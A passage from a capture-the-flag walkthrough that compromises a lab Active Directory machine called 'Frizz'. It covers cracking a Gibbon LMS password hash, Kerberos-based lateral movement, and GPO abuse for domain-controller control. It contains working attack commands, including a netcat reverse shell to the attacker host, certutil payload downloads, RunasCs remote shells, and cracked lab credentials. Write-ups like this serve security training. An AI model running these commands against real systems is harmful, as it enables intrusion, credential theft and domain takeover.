    | image_240                 | varchar(255)                                          | YES  |     | NULL        |                |
    | lastIPAddress             | varchar(15)                                           | NO   |     |             |                |
    | lastTimestamp             | timestamp                                             | YES  |     | NULL        |                |
    | lastFailIPAddress         | varchar(15)                                           | YES  |     | NULL        |                |
    | lastFailTimestamp         | timestamp                                             | YES  |     | NULL        |                |
    | failCount                 | int(1)                                                | YES  |     | 0           |                |
    | address1                  | mediumtext                                            | NO   |     | NULL        |                |
    | address1District          | varchar(255)                                          | NO   |     | NULL        |                |
    | address1Country           | varchar(255)                                          | NO   |     | NULL        |                |
    | address2                  | mediumtext                                            | NO   |     | NULL        |                |
    | address2District          | varchar(255)                                          | NO   |     | NULL        |                |
    | address2Country           | varchar(255)                                          | NO   |     | NULL        |                |
    | phone1Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
    | phone1CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
    | phone1                    | varchar(20)                                           | NO   |     | NULL        |                |
    | phone3Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
    | phone3CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
    | phone3                    | varchar(20)                                           | NO   |     | NULL        |                |
    | phone2Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
    | phone2CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
    | phone2                    | varchar(20)                                           | NO   |     | NULL        |                |
    | phone4Type                | enum('','Mobile','Home','Work','Fax','Pager','Other') | NO   |     |             |                |
    | phone4CountryCode         | varchar(7)                                            | NO   |     | NULL        |                |
    | phone4                    | varchar(20)                                           | NO   |     | NULL        |                |
    | website                   | varchar(255)                                          | NO   |     | NULL        |                |
    | languageFirst             | varchar(30)                                           | NO   |     | NULL        |                |
    | languageSecond            | varchar(30)                                           | NO   |     | NULL        |                |
    | languageThird             | varchar(30)                                           | NO   |     | NULL        |                |
    | countryOfBirth            | varchar(30)                                           | NO   |     | NULL        |                |
    | birthCertificateScan      | varchar(255)                                          | NO   |     | NULL        |                |
    | ethnicity                 | varchar(255)                                          | NO   |     | NULL        |                |
    | religion                  | varchar(30)                                           | NO   |     | NULL        |                |
    | profession                | varchar(90)                                           | NO   |     | NULL        |                |
    | employer                  | varchar(90)                                           | NO   |     | NULL        |                |
    | jobTitle                  | varchar(90)                                           | NO   |     | NULL        |                |
    | emergency1Name            | varchar(90)                                           | NO   |     | NULL        |                |
    | emergency1Number1         | varchar(30)                                           | NO   |     | NULL        |                |
    | emergency1Number2         | varchar(30)                                           | NO   |     | NULL        |                |
    | emergency1Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
    | emergency2Name            | varchar(90)                                           | NO   |     | NULL        |                |
    | emergency2Number1         | varchar(30)                                           | NO   |     | NULL        |                |
    | emergency2Number2         | varchar(30)                                           | NO   |     | NULL        |                |
    | emergency2Relationship    | varchar(30)                                           | NO   |     | NULL        |                |
    | gibbonHouseID             | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
    | studentID                 | varchar(15)                                           | NO   |     | NULL        |                |
    | dateStart                 | date                                                  | YES  |     | NULL        |                |
    | dateEnd                   | date                                                  | YES  |     | NULL        |                |
    | gibbonSchoolYearIDClassOf | int(3) unsigned zerofill                              | YES  |     | NULL        |                |
    | lastSchool                | varchar(100)                                          | NO   |     | NULL        |                |
    | nextSchool                | varchar(100)                                          | NO   |     | NULL        |                |
    | departureReason           | varchar(50)                                           | NO   |     | NULL        |                |
    | transport                 | varchar(255)                                          | NO   |     | NULL        |                |
    | transportNotes            | text                                                  | NO   |     | NULL        |                |
    | calendarFeedPersonal      | text                                                  | NO   |     | NULL        |                |
    | viewCalendarSchool        | enum('Y','N')                                         | NO   |     | Y           |                |
    | viewCalendarPersonal      | enum('Y','N')                                         | NO   |     | Y           |                |
    | viewCalendarSpaceBooking  | enum('Y','N')                                         | NO   |     | N           |                |
    | gibbonApplicationFormID   | int(12) unsigned zerofill                             | YES  |     | NULL        |                |
    | lockerNumber              | varchar(20)                                           | NO   |     | NULL        |                |
    | vehicleRegistration       | varchar(20)                                           | NO   |     | NULL        |                |
    | personalBackground        | varchar(255)                                          | NO   |     | NULL        |                |
    | messengerLastRead         | datetime                                              | YES  |     | NULL        |                |
    | privacy                   | text                                                  | YES  |     | NULL        |                |
    | dayType                   | varchar(255)                                          | YES  |     | NULL        |                |
    | gibbonThemeIDPersonal     | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
    | gibboni18nIDPersonal      | int(4) unsigned zerofill                              | YES  |     | NULL        |                |
    | studentAgreements         | text                                                  | YES  |     | NULL        |                |
    | googleAPIRefreshToken     | text                                                  | NO   |     | NULL        |                |
    | microsoftAPIRefreshToken  | text                                                  | NO   |     | NULL        |                |
    | genericAPIRefreshToken    | text                                                  | NO   |     | NULL        |                |
    | receiveNotificationEmails | enum('Y','N')                                         | NO   |     | Y           |                |
    | mfaSecret                 | varchar(16)                                           | YES  |     | NULL        |                |
    | mfaToken                  | text                                                  | YES  |     | NULL        |                |
    | cookieConsent             | enum('Y','N')                                         | YES  |     | NULL        |                |
    | fields                    | text                                                  | NO   |     | NULL        |                |
    +---------------------------+-------------------------------------------------------+------+-----+-------------+----------------+

    Notice the username, passwordStrong, and passwordStrongSalt fields from here. Let’s query to see whether we have something in here or not:

    MariaDB [gibbon]> select username, passwordStrong, passwordStrongSalt from gibbonPerson;
    +-----------+------------------------------------------------------------------+------------------------+
    | username  | passwordStrong                                                   | passwordStrongSalt     |
    +-----------+------------------------------------------------------------------+------------------------+
    | f.frizzle | 067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03 | /aACFhikmNopqrRTVz2489 |
    +-----------+------------------------------------------------------------------+------------------------+
    1 row in set (0.279 sec)

    Gladly, we have found a password hash along with a salt. The hash looks like a sha-256 based on its length(64-character hex string).

    However, we also want to know the positioning of salt in the hash before trying to crack it. Upon searching on Google, I found that the hash processing is done in the core/preferencesPasswordProcess.php file, where core is Gibbon-LMS in our case.

    core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core · GitHub
    Gibbon is a flexible, open source school management platform designed to make life better for teachers, students, parents and leaders. – core/preferencesPasswordProcess.php at v29.0.00 · GibbonEdu/core
    github.com

    PS C:\xampp\htdocs\Gibbon-LMS> Get-Content preferencesPasswordprocess.php

    Hence, our hash is derived using sha256 with salt + password:

    💡 Think Box

    Hash Cracking

    Finding the Right Module

    Our target module is 1420 based on the placement of salt in the hash, which we just discussed above.

    croc@hacker$ hashcat --help | grep sha256
       1470 | sha256(utf16le($pass))                                     | Raw Hash
       1410 | sha256($pass.$salt)                                        | Raw Hash salted and/or iterated
       1420 | sha256($salt.$pass)                                        | Raw Hash salted and/or iterated
      22300 | sha256($salt.$pass.$salt)                                  | Raw Hash salted and/or iterated
      20720 | sha256($salt.sha256($pass))                                | Raw Hash salted and/or iterated
      21420 | sha256($salt.sha256_bin($pass))                            | Raw Hash salted and/or iterated
       1440 | sha256($salt.utf16le($pass))                               | Raw Hash salted and/or iterated
      20800 | sha256(md5($pass))                                         | Raw Hash salted and/or iterated
      20710 | sha256(sha256($pass).$salt)                                | Raw Hash salted and/or iterated
      21400 | sha256(sha256_bin($pass))                                  | Raw Hash salted and/or iterated
       1430 | sha256(utf16le($pass).$salt)                               | Raw Hash salted and/or iterated
       6400 | AIX {ssha256}                                              | Operating System
       7400 | sha256crypt $5$, SHA256 (Unix)                             | Operating System
       7401 | MySQL $A$ (sha256crypt)                                    | Database Server
      20711 | AuthMe sha256                                              | Enterprise Application Software (EAS)
      20300 | Python passlib pbkdf2-sha256                               | Framework

    Hash.txt

    I created a file hash.txt and saved the password hash and salt in the following format:

    hash:salt

    Cracking the Hash

    croc@hacker$ hashcat -a 0 -m 1420 hash.txt /usr/share/wordlists/rockyou.txt

    Hence, the password for f.frizzle is Jenni_Luvs_Magic23.

    🚀Way Forward

    f.frizzle is part of the Remote Management Users group but unfortunately WinRM is disabled on the box. So, for now, as we have a valid set of credential, we can proceed to dump the bloodhound data and analyze potential pathways from there.

    Bloodhound Collection

    After getting hit by a dozen DNS errors, I finally succeeded in dumping the data. I also uploaded it into Bloodhound.

    croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" bloodhound-python -d 'frizz.htb' -u 'f.frizzle' -p 'Jenni_Luvs_Magic23' -dc 'frizzdc.frizz.htb' -ns '10.10.11.60' --auth-method kerberos -c all
    INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
    INFO: Found AD domain: frizz.htb
    INFO: Getting TGT for user
    INFO: Connecting to LDAP server: frizzdc.frizz.htb
    INFO: Found 1 domains
    INFO: Found 1 domains in the forest
    INFO: Found 1 computers
    INFO: Connecting to LDAP server: frizzdc.frizz.htb
    INFO: Found 22 users
    INFO: Found 53 groups
    INFO: Found 2 gpos
    INFO: Found 2 ous
    INFO: Found 19 containers
    INFO: Found 0 trusts
    INFO: Starting computer enumeration with 10 workers
    INFO: Querying computer: frizzdc.frizz.htb
    INFO: Done in 00M 48S
                                                                                                                   
    croc@hacker$ ls
    20250424221856_computers.json   20250424221856_gpos.json    20250424221856_users.json
    20250424221856_containers.json  20250424221856_groups.json
    20250424221856_domains.json     20250424221856_ous.json

    faketime is used in order to tackle the KRB_AP_ERR_SKEW error.

    💡 Think Box

    Setting up Kerberos Authentication

    Step 01 – Install Client Libraries

    If you are faced with any prompts during the installation, just remember to press the magic key “Enter” & go with the defaults.

    croc@hacker$ sudo apt install -y heimdal-clients libsasl2-modules-gssapi-heimdal

    Step 02 – Custom KRB5_CONFIG Setup

    Here, we set up our custom_krb5.conf file which defines the kerberos realm configuration.

    croc@hacker$ LOWER_REALM='frizz.htb'                 
                                                                                                                   
    croc@hacker$ UPPER_REALM='FRIZZ.HTB'
                                                                                                                   
    croc@hacker$ DC_HOSTNAME='frizzdc'
                                                                                                                   
    croc@hacker$ cat << EOF | envsubst > custom_krb5.conf
    [libdefaults]
        default_realm = $UPPER_REALM
        dns_lookup_realm = true
        dns_lookup_kdc = true
    
    [realms]
        $UPPER_REALM = {
            kdc = $DC_HOSTNAME.$LOWER_REALM
            admin_server = $DC_HOSTNAME.$LOWER_REALM
            default_domain = $DC_HOSTNAME.$LOWER_REALM
        }
    
    [domain_realm]
        $LOWER_REALM = $UPPER_REALM
        .$LOWER_REALM = $UPPER_REALM
    EOF
                                                                                                                   
    croc@hacker$ cat custom_krb5.conf                    
    [libdefaults]
        default_realm = FRIZZ.HTB
        dns_lookup_realm = true
        dns_lookup_kdc = true
    
    [realms]
        FRIZZ.HTB = {
            kdc = frizzdc.frizz.htb
            admin_server = frizzdc.frizz.htb
            default_domain = frizzdc.frizz.htb
        }
    
    [domain_realm]
        frizz.htb = FRIZZ.HTB
        .frizz.htb = FRIZZ.HTB

    Step 03 – Authenticate as f.frizzle

    I set up the environment variable KRB5_CONFIG to point to our custom Kerberos configuration file custom_krb5.conf located in our current directory ($PWD). This allows us force Kerberos clients to use custom realm configuration.

    Moreover, I initiated an authentication request as f.frizzle to the KDC using kinit, which got successful. As a result, we have a cached credential at /tmp/krb5cc_1001 which we can view using klist.

    croc@hacker$ export KRB5_CONFIG="$PWD/custom_krb5.conf"
                                                                                                                   
    croc@hacker$ kinit f.frizzle                           
    f.frizzle@FRIZZ.HTB's Password: 
                                                                                                                   
    croc@hacker$ klist          
    Credentials cache: FILE:/tmp/krb5cc_1001
            Principal: f.frizzle@FRIZZ.HTB
    
      Issued                Expires               Principal
    Apr 25 14:09:12 2025  Apr 26 00:09:12 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

    SSH – GSSAPI Authentication

    Now, as we have a cached ticket for f.frizzle, we can use it for Kerberos authentication via SSH:

    croc@hacker$ ssh -K f.frizzle@frizz.htb                                         
    
    
    PowerShell 7.4.5
    PS C:\Users\f.frizzle>

    User.txt

    PS C:\Users\f.frizzle\Desktop> ls
    
        Directory: C:\Users\f.frizzle\Desktop
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -ar--           4/25/2025 10:02 AM             34 user.txt
    
    PS C:\Users\f.frizzle\Desktop> cat user.txt
    074d*****************************

    Shell as M.SchoolBus

    Files in Recycle Bin

    After hitting my head for a little, I found two .7z files in recycle bin.

    PS C:\Users\f.frizzle> Get-ChildItem -Recurse -Force 'C:\$RECYCLE.BIN'
    
        Directory: C:\$RECYCLE.BIN
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    d--hs          10/29/2024  7:31 AM                S-1-5-21-2386970044-1145388522-2932701813-1103
    
        Directory: C:\$RECYCLE.BIN\S-1-5-21-2386970044-1145388522-2932701813-1103
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
    -a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
    -a-hs          10/29/2024  7:31 AM            129 desktop.ini

    Next, we want to transfer these files to our attackbox. I will restore them into our current user’s Desktop for easy access later on.

    PS C:\Users\f.frizzle> Copy-Item -Path 'C:\$Recycle.Bin\S-1-5-21-2386970044-1145388522-2932701813-1103\*.7z' -Destination "$env:USERPROFILE\Desktop"
    
    PS C:\Users\f.frizzle\Desktop> ls
    
        Directory: C:\Users\f.frizzle\Desktop
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -a---          10/29/2024  7:31 AM            148 $IE2XMEG.7z
    -a---          10/24/2024  9:16 PM       30416987 $RE2XMEG.7z
    -ar--            5/2/2025  7:41 PM             34 user.txt

    Transfer to Attack Box

    Now, we want to transfer these *.7z files back to our kali machine for further analysis.

    croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$IE2XMEG.7z' $PWD
    $IE2XMEG.7z                                                                                                                               100%  148     0.6KB/s   00:00    
                                                                                                                                                                                
    croc@hacker$ scp -o 'GSSAPIAuthentication=yes' f.frizzle@frizzdc.frizz.htb:'C:/Users/f.frizzle/Desktop/$RE2XMEG.7z' $PWD
    $RE2XMEG.7z                                                                                                                               100%   29MB   1.7MB/s   00:17

    Notice the format of both files. $RE2XMEG.7z appears to be a legitimate 7-zip archive while we’re not sure about $IE2XMEG.7z.

    croc@hacker$ file '$IE2XMEG.7z' '$RE2XMEG.7z' 
    $IE2XMEG.7z: data
    $RE2XMEG.7z: 7-zip archive data, version 0.4

    Extracting the Files

    The first file failed to extract but second one did extract. (As expected)

    croc@hacker$ 7z x \$RE2XMEG.7z 
    
    7-Zip 24.09 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-11-29
     64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024, ASM
    
    Scanning the drive for archives:
    1 file, 30416987 bytes (30 MiB)
    
    Extracting archive: $RE2XMEG.7z
    --
    Path = $RE2XMEG.7z
    Type = 7z
    Physical Size = 30416987
    Headers Size = 65880
    Method = ARM64 LZMA2:26 LZMA:20 BCJ2
    Solid = +
    Blocks = 3
    
    Everything is Ok                                      
    
    Folders: 684
    Files: 5384
    Size:       141187501
    Compressed: 30416987
                                                                                                                                                                                
    croc@hacker$ ls
    '$RE2XMEG.7z'   wapt

    Enumerating for Sensitive Info

    The configuration files are always a good bet to start with. Luckily, I found the following password in waptserver.ini file:

    I passed the password along the network but it failed. That’s because it was base64-encoded!

    croc@hacker$ echo "IXN1QmNpZ0BNZWhUZWQhUgo=" | base64 -d                                                           
    !suBcig@MehTed!R

    Trying again revealed our next pivot point which is M.SchoolBus.

    croc@hacker$ faketime "$(ntpdate -q 10.10.11.60 | cut -d ' ' -f 1,2)" nxc smb frizzdc.frizz.htb -u 'users.txt' -p '!suBcig@MehTed!R' -d 'frizz.htb' -k --continue-on-success

    Lateral to M.SchoolBus

    Cached Ticket

    Cleared all cached tickets and cached the ticket for M.SchoolBus:

    croc@hacker$ kdestroy
    kdestroy: krb5_cc_destroy: Did not find a plugin for ccache_ops
                                                                                                                                                     
    croc@hacker$ kinit m.schoolbus
    m.schoolbus@FRIZZ.HTB's Password: 
                                                                                                                                                     
    croc@hacker$ klist
    Credentials cache: FILE:/tmp/krb5cc_1001
            Principal: m.schoolbus@FRIZZ.HTB
    
      Issued                Expires               Principal
    May  3 21:15:10 2025  May  4 07:15:10 2025  krbtgt/FRIZZ.HTB@FRIZZ.HTB

    SSH

    croc@hacker$ ssh -K m.schoolbus@frizzdc.frizz.htb                        
    
    PowerShell 7.4.5
    PS C:\Users\M.SchoolBus> whoami
    frizz\m.schoolbus
    PS C:\Users\M.SchoolBus> 

    Shell as Root

    Bloodhound

    Revisiting Bloodhound, I found that m.schoolbus is the member of the Desktop Admins group which is indeed the member of Group Policy Creator Owners group.

    💡 Think Box

    Transfer Powersploit

    We will be using the Powersploit suite of tools for GPO enumeration.

    GitHub – PowerShellMafia/PowerSploit: PowerSploit – A PowerShell Post-Exploitation Framework
    PowerSploit – A PowerShell Post-Exploitation Framework – PowerShellMafia/PowerSploit
    github.com

    On our kali machine, we do the following:

    git clone https://github.com/PowerShellMafia/PowerSploit
    rm -rf PowerSploit/.git/ #Removed as it is not needed
    zip -r PowerSploit.zip PowerSploit
    python3 -m http.server 8000

    Transferred the zipped file to the target:

    PS C:\temp> certutil.exe -f -urlcache -split http://10.10.14.16:8000/PowerSploit.zip PowerSploit.zip
    ****  Online  ****
      000000  ...
      20b69d
    CertUtil: -URLCache command completed successfully.
    PS C:\temp> ls
    
        Directory: C:\temp
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    -a---           7/20/2025  6:54 PM        2143901 PowerSploit.zip

    Import all the Modules

    Now, we extract all the modules in the current directory:

    PS C:\temp> Expand-Archive .\PowerSploit.zip
    PS C:\temp> ls
    
        Directory: C:\temp
    
    Mode                 LastWriteTime         Length Name
    ----                 -------------         ------ ----
    d----           7/21/2025  3:07 PM                PowerSploit
    -a---           7/21/2025  3:07 PM        2143901 PowerSploit.zip

    Next, we downgrade to PowerShell v5 in order to make it work reliably:

    PS C:\temp> $PSVersionTable
    
    Name                           Value
    ----                           -----
    PSVersion                      7.4.5 #Before
    PSEdition                      Core
    GitCommitId                    7.4.5
    OS                             Microsoft Windows 10.0.20348
    Platform                       Win32NT
    PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
    PSRemotingProtocolVersion      2.3
    SerializationVersion           1.1.0.1
    WSManStackVersion              3.0
    
    PS C:\temp> powershell.exe
    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
    
    PS C:\temp> $PSVersionTable
    
    Name                           Value
    ----                           -----
    PSVersion                      5.1.20348.2849 #After
    PSEdition                      Desktop
    PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0...}
    BuildVersion                   10.0.20348.2849
    CLRVersion                     4.0.30319.42000
    WSManStackVersion              3.0
    PSRemotingProtocolVersion      2.3
    SerializationVersion           1.1.0.1
    

    After that, it’s time to import all the modules:

    PS C:\temp> Get-ChildItem -Directory .\PowerSploit\PowerSploit\ -Exclude docs, Tests | ForEach-Object { Import-Module $_.FullName -ErrorAction SilentlyContinue }

    GPO Enumeration – Permissions

    The following command shows which users/groups have what permissions on each existing GPO in the domain.

    PS C:\temp> Get-GPO -All | Get-GPPermission -All
    
    
    Trustee     : Domain Admins
    TrusteeType : Group
    Permission  : GpoCustom
    Inherited   : False
    
    Trustee     : Enterprise Admins
    TrusteeType : Group
    Permission  : GpoCustom
    Inherited   : False
    
    Trustee     : SYSTEM
    TrusteeType : WellKnownGroup
    Permission  : GpoEditDeleteModifySecurity
    Inherited   : False
    
    Trustee     : Authenticated Users
    TrusteeType : WellKnownGroup
    Permission  : GpoApply
    Inherited   : False
    
    Trustee     : ENTERPRISE DOMAIN CONTROLLERS
    TrusteeType : WellKnownGroup
    Permission  : GpoRead
    Inherited   : False
    
    Trustee     : Domain Admins
    TrusteeType : Group
    Permission  : GpoCustom
    Inherited   : False
    
    Trustee     : Enterprise Admins
    TrusteeType : Group
    Permission  : GpoCustom
    Inherited   : False
    
    Trustee     : SYSTEM
    TrusteeType : WellKnownGroup
    Permission  : GpoEditDeleteModifySecurity
    Inherited   : False
    
    Trustee     : Authenticated Users
    TrusteeType : WellKnownGroup
    Permission  : GpoApply
    Inherited   : False
    
    Trustee     : ENTERPRISE DOMAIN CONTROLLERS
    TrusteeType : WellKnownGroup
    Permission  : GpoRead
    Inherited   : False

    💡 Think Box

    Looking for Writable OUs

    We used the following command to enumerate writable OUs in our domain. Luckily, there exist only two OUs and both of them are writable by our current user.

    PS C:\temp> Get-DomainOU | 
    >> Get-DomainObjectAcl -ResolveGUIDs | 
    >> Where-Object { $_.ObjectAceType -eq "GP-Link" -and $_.ActiveDirectoryRights -like "*WriteProperty*" } | 
    >> Select-Object ObjectDN,ActiveDirectoryRights,ObjectAceType,SecurityIdentifier, @{Name='ConvertedSid'; Expression={ConvertFrom-SID $_.SecurityIdentifier}}
    
    
    ObjectDN              : OU=Domain Controllers,DC=frizz,DC=htb
    ActiveDirectoryRights : ReadProperty, WriteProperty
    ObjectAceType         : GP-Link
    SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
    ConvertedSid          : frizz\M.SchoolBus
    
    ObjectDN              : OU=Class_Frizz,DC=frizz,DC=htb
    ActiveDirectoryRights : ReadProperty, WriteProperty
    ObjectAceType         : GP-Link
    SecurityIdentifier    : S-1-5-21-2386970044-1145388522-2932701813-1106
    ConvertedSid          : frizz\M.SchoolBus
    

    Hence, we can link our new GPO to any of the both OUs: Domain Controllers or Class_Frizz. However, our target machine is in the Domain Controllers Organizational Unit so it makes more sense to link to that.

    PS C:\temp> Get-ADComputer -SearchBase "OU=Class_Frizz,DC=frizz,DC=htb" -Filter *
    PS C:\temp> 
    PS C:\temp> Get-ADComputer -SearchBase "OU=Domain Controllers,DC=frizz,DC=htb" -Filter *
    
    
    DistinguishedName : CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
    DNSHostName       : frizzdc.frizz.htb
    Enabled           : True
    Name              : FRIZZDC
    ObjectClass       : computer
    ObjectGUID        : 36207a23-8d8d-45e2-b127-e4341a0ec93e
    SamAccountName    : FRIZZDC$
    SID               : S-1-5-21-2386970044-1145388522-2932701813-1000
    UserPrincipalName :
    

    Creating a new GPO and linking to OU

    Created a new GPO named Evil Croc GPO using New-GPO cmdlet:

    PS C:\temp> New-GPO -Name "Evil Croc GPO"                                                                                                       
                                                                                                            
    
    DisplayName      : Evil Croc GPO
    DomainName       : frizz.htb
    Owner            : frizz\M.SchoolBus
    Id               : 6ff7fae6-caf3-40da-a97f-10fff92a0f08
    GpoStatus        : AllSettingsEnabled
    Description      : 
    CreationTime     : 7/24/2025 6:56:02 PM
    ModificationTime : 7/24/2025 6:56:02 PM
    UserVersion      : AD Version: 0, SysVol Version: 0
    ComputerVersion  : AD Version: 0, SysVol Version: 0
    WmiFilter        : 

    Linked it to the Domain Controllers OU using New-GPLink cmdlet:

    C:\temp> Get-GPO -name "Evil Croc GPO" | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"
    
    
    GpoId       : 596d8853-cc3b-48a4-a9b2-c2a40e214ff1
    DisplayName : Evil Croc GPO
    Enabled     : True
    Enforced    : False
    Target      : OU=Domain Controllers,DC=frizz,DC=htb
    Order       : 2

    Way #01: Gaining Root – Immediate Scheduled Task

    We will be using sharpGPOAbuse.exe in order to perform the immediate scheduled task attack.

    SharpGPOAbuse/SharpGPOAbuse-master at main · byronkg/SharpGPOAbuse · GitHub
    Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
    github.com

    PS C:\temp> & "C:\temp\SharpGPOAbuse.exe" --AddComputerTask --TaskName "EvilTask" --Author "FRIZZ.HTB\Administrator" --Command "cmd.exe" --Arguments "/c C:\Windows\Tasks\nc64.exe 10.10.14.182 443 -e powershell.exe" --GPOName "Evil Croc GPO" --Force
    [+] Domain = frizz.htb
    [+] Domain Controller = frizzdc.frizz.htb
    [+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
    [+] GUID of "Evil Croc GPO" is: {5C5DC385-1956-47B8-B432-376A3A580DBE}
    [+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{5C5DC385-1956-47B8-B432-376A3A580DBE}\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml
    [+] versionNumber attribute changed successfully
    [+] The version number in GPT.ini was increased successfully.
    [+] The GPO was modified to include a new immediate task. Wait for the GPO refresh cycle.
    [+] Done!

    Set up a listener on the attack box at 443:

    croc@hacker:~$ sudo rlwrap nc -nvlp 443
    listening on [any] 443 ...
    

    Force update the group policy to apply our GPO setting on the DC:

    PS C:\temp> gpupdate.exe /force                                                                                                                 
    Updating policy...
    
    Computer Policy update has completed successfully.
    User Policy update has completed successfully.

    Successfully obtained a reverse shell as nt\authority system:

    Way #02: Gaining Root – Adding a Local Admin

    We can also make our user m.schoolbus a local admin on the DC and then initiate a reverse shell connection under his proximity to get admin privileges:

    SharpGPOAbuse/SharpGPOAbuse-master/README.md at main · byronkg/SharpGPOAbuse · GitHub
    Precompiled executable. Contribute to byronkg/SharpGPOAbuse development by creating an account on GitHub.
    github.com

    PS C:\temp> & "C:\temp\SharpGPOAbuse.exe" --AddLocalAdmin --UserAccount 'M.schoolbus' --GPOName "Evil Croc GPO" --force
    [+] Domain = frizz.htb
    [+] Domain Controller = frizzdc.frizz.htb
    [+] Distinguished Name = CN=Policies,CN=System,DC=frizz,DC=htb
    [+] SID Value of M.schoolbus = S-1-5-21-2386970044-1145388522-2932701813-1106
    [+] GUID of "Evil Croc GPO" is: {48753DD8-2CF7-4859-8BA3-4056612363FD}
    [+] Creating file \\frizz.htb\SysVol\frizz.htb\Policies\{48753DD8-2CF7-4859-8BA3-4056612363FD}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf  
    [+] versionNumber attribute changed successfully
    [+] The version number in GPT.ini was increased successfully.
    [+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
    [+] Done!
    
    PS C:\temp> gpupdate.exe /force
    Updating policy...
    
    Computer Policy update has completed successfully.
    User Policy update has completed successfully.
    

    We can indeed verify this as well from below:

    PS C:\temp> net localgroup administrators
    Alias name     administrators
    Comment        Administrators have complete and unrestricted access to the computer/domain
    
    Members
    
    -------------------------------------------------------------------------------
    Administrator
    M.SchoolBus
    The command completed successfully.

    However, note that the members of the local admin group are not allowed to SSH into the machine:

    PS C:\temp> cat C:\ProgramData\ssh\sshd_config

    So, we need to figure another way out.

    💡 Think Box

    RunasCS – Reverse Shell as admin

    Set up a listener on your machine on whatever port and execute the following command on the target:

    PS C:\temp> Import-Module .\Invoke-RunasCs.ps1
    
    PS C:\temp> Invoke-RunasCs 'M.schoolbus' '!suBcig@MehTed!R' powershell.exe -Remote 10.10.14.182:5555
    
    [+] Running in session 0 with process function CreateProcessWithLogonW()
    [+] Using Station\Desktop: Service-0x0-2c55b3$\Default
    [+] Async process 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' with pid 740 created in background.
    
    PS C:\temp>
    

    And, we received a connection back as the local admin m.schoolbus:

    croc@hacker:~$ sudo rlwrap nc -nvlp 5555
    listening on [any] 5555 ...
    connect to [10.10.14.182] from (UNKNOWN) [10.10.11.60] 55947
    Windows PowerShell
    Copyright (C) Microsoft Corporation. All rights reserved.
    
    Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
    
    PS C:\Windows\system32> whoami
    whoami
    frizz\m.schoolbus
    PS C:\Windows\system32> whoami /priv
    whoami /priv
    
    PRIVILEGES INFORMATION
    ----------------------
    
    Privilege Name                            Description                                                        State   
    ========================================= ================================================================== ========
    SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Disabled
    SeMachineAccountPrivilege                 Add workstations to domain                                         Disabled
    SeSecurityPrivilege                       Manage auditing and security log                                   Disabled
    SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Disabled
    SeLoadDriverPrivilege                     Load and unload device drivers                                     Disabled
    SeSystemProfilePrivilege                  Profile system performance                                         Disabled
    SeSystemtimePrivilege                     Change the system time                                             Disabled
    SeProfileSingleProcessPrivilege           Profile single process                                             Disabled
    SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Disabled
    SeCreatePagefilePrivilege                 Create a pagefile                                                  Disabled
    SeBackupPrivilege                         Back up files and directories                                      Disabled
    SeRestorePrivilege                        Restore files and directories                                      Disabled
    SeShutdownPrivilege                       Shut down the system                                               Disabled
    SeDebugPrivilege                          Debug programs                                                     Enabled 
    SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Disabled
    SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled 
    SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Disabled
    SeUndockPrivilege                         Remove computer from docking station                               Disabled
    SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Disabled
    SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Disabled
    SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled 
    SeCreateGlobalPrivilege                   Create global objects                                              Enabled 
    SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Disabled
    SeTimeZonePrivilege                       Change the time zone                                               Disabled
    SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Disabled
    SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Disabled
    PS C:\Windows\system32> 
    

    Root.txt

    PS C:\Windows\system32> cd c:\users\administrator\desktop
    cd c:\users\administrator\desktop
    
    PS C:\users\administrator\desktop> Get-Content root.txt
    Get-Content root.txt
